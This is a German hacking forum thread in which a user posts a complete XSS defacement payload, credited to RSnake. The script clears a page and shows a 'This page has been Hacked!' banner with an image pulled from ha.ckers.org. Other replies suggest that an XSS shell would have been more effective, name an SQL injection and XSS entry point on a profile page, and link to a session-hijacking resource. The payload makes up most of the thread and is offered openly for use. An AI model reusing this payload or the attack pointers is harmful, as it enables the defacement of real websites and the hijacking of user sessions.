4 replies to this topic

[B1nary]

XSS-Payload "Stalloned Hack" by RSnake @ ha.ckers.org
Demo:

Please Login HERE or Register HERE to see this link!

<script>
var title = "XSS Defacement";
var bgcolor = "#000000";
var image_url = "http://ha.ckers.org/images/stallowned.jpg";
var text = "This page has been Hacked!";
var font_color = "#FF0000";
deface(title, bgcolor, image_url, text, font_color);
function deface(pageTitle, bgColor, imageUrl, pageText, fontColor) {
  document.title = pageTitle;
  document.body.innerHTML = '';
  document.bgColor = bgColor;
  var overLay = document.createElement("div");
  overLay.style.textAlign = 'center';
  document.body.appendChild(overLay);
  var txt = document.createElement("p");
  txt.style.font = 'normal normal bold 36px Verdana';
  txt.style.color = fontColor;
  txt.innerHTML = pageText;
  overLay.appendChild(txt);
  if (image_url != "") {
    var newImg = document.createElement("img");
    newImg.setAttribute("border", '0');
    newImg.setAttribute("src", imageUrl);
    overLay.appendChild(newImg); }
  var footer = document.createElement("p");
  footer.style.font = 'italic normal normal 12px Arial';
  footer.style.color = '#DDDDDD';
  footer.innerHTML = title;
  overLay.appendChild(footer); }
</script>

[FalkE]

Hätte es jetzt mehr gebracht, wenn du ne XSS Shell und - /oder ein JDB reingeballert hättest, aber naja .. .png' class='bbc_emoticon' alt='^^' />

[B1nary]

Hätte es jetzt mehr gebracht, wenn du ne XSS Shell und - /oder ein JDB reingeballert hättest, aber naja .. .png' class='bbc_emoticon' alt='^^' />

Verstehe den Beitrag nicht?!

[FalkE]

War nur auf den Deface bezogen.
Hier ist übrigens noch eine SQLi + XSS :

/profil.php?=id

[B1nary]

Hier ist übrigens noch eine SQLi + XSS :

/profil.php?=id

http://www.toolbase....sion-hijacking/